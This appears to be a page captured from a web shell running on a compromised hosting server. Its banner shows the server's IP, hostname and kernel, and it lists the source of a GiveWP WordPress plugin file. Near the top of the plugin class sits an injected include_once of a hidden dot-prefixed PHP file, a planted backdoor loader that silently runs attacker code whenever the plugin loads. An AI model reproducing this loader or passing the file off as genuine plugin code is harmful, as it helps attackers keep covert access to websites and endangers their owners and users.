uawdijnntqw1x1x1
IP : 3.133.129.118
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
public_html
/
..
/
old
/
public_html
/
wp-content
/
plugins
/
give
/
src
/
Onboarding
/
Setup
/
Page.php
/
/
<?php /** * Onboarding class * * @package Give */ namespace Give\Onboarding\Setup; defined( 'ABSPATH' ) || exit; /** * Organizes WordPress actions and helper methods for Onboarding. * * @since 2.8.0 */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class Page { const ENABLED = 'enabled'; const DISABLED = 'disabled'; /** * Dissmiss the Setup Page. * * @since 2.8.0 */ public function dismissSetupPage() { if ( wp_verify_nonce( $_GET['_wpnonce'], 'dismiss_setup_page' ) ) { give_update_option( 'setup_page_enabled', self::DISABLED ); wp_redirect( add_query_arg( [ 'post_type' => 'give_forms' ], admin_url( 'edit.php' ) ) ); exit; } } /** * Helper method for checking the if the Setup Page is enabled. * * @since 2.8.0 * * @return string */ public static function getSetupPageEnabledOrDisabled() { return give_get_option( 'setup_page_enabled', self::DISABLED ); } /** * Add Setup submenu page to admin menu * * @since 2.8.0 */ public function add_page() { add_submenu_page( 'edit.php?post_type=give_forms', esc_html__( 'Setup GiveWP', 'give' ), esc_html__( 'Setup', 'give' ), 'manage_give_settings', 'give-setup', [ $this, 'render_page' ], $position = 0 ); } /** * Enqueue scripts and styles. * * @since 2.8.0 */ public function enqueue_scripts() { if ( ! isset( $_GET['page'] ) || 'give-setup' !== $_GET['page'] ) { return; } wp_enqueue_style( 'give-admin-setup-style', GIVE_PLUGIN_URL . 'assets/dist/css/admin-setup.css', [], GIVE_VERSION ); wp_enqueue_style( 'give-admin-setup-google-fonts', 'https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600&display=swap', [], GIVE_VERSION ); wp_enqueue_script( 'give-admin-setup-script', GIVE_PLUGIN_URL . 'assets/dist/js/admin-setup.js', [ 'jquery' ], GIVE_VERSION, $in_footer = true ); } /** * Render the submenu page * * @since 2.8.0 */ public function render_page() { $view = give()->make( PageView::class ); echo $view->render(); } }
/home/batcwwjx/public_html/../old/public_html/wp-content/plugins/give/src/Onboarding/Setup/Page.php